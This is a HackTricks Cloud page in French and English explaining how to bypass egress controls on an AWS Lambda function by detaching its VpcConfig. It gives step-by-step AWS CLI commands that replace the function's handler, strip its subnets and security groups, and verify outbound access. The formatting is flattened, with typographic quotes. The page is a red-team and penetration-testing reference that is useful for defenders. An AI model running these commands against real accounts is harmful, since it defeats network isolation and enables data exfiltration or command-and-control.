AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
Exploitation
- Pré-requis : lambda:UpdateFunctionConfiguration sur la fonction cible (et lambda:InvokeFunction pour valider), plus les permissions pour mettre à jour le code/handler si vous les modifiez.
- Hypothèses : La fonction est actuellement configurée avec VpcConfig pointant vers des sous-réseaux privés sans NAT (donc l’accès Internet sortant est bloqué).
- Région : us-east-1
Étapes
- Préparez un handler minimal qui prouve que l’HTTP sortant fonctionne
cat > net.py <<‘PY’ import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true
- Enregistrez la configuration VPC actuelle (pour la restaurer plus tard si nécessaire)
aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Détachez le VPC en définissant des listes vides
aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION
until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done
- Invoquez et vérifiez l’accès sortant
aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json
(Optional) Restaurez la configuration VPC originale
if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi
Impact
- Rétablit un accès Internet sortant non restreint depuis la fonction, permettant la data exfiltration ou du C2 depuis des workloads qui étaient intentionnellement isolés dans des sous-réseaux privés sans NAT.
Exemple de sortie (après avoir détaché VpcConfig)
{“egress”: true, “ip”: “34.x.x.x”}
Nettoyage
- Si vous avez créé des modifications temporaires au code/handler, restaurez-les.
- Optionnellement, restaurez le VpcConfig original sauvegardé dans /tmp/orig-vpc.json comme montré ci-dessus.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

